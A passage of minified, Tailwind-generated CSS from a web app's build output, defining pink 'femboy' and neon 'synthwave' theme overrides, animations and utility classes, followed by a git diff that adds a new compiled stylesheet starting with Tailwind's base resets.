scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-orange-500\/20:hover{background-color:#f9731633}.hover\:bg-orange-600:hover{--tw-bg-opacity: 1;background-color:rgb(234 88 12 / var(--tw-bg-opacity, 1))}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-CIWNzjym.css b/dist/assets/index-CIWNzjym.css new file mode 100755 index 0000000..19775bd --- /dev/null +++ b/dist/assets/index-CIWNzjym.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation 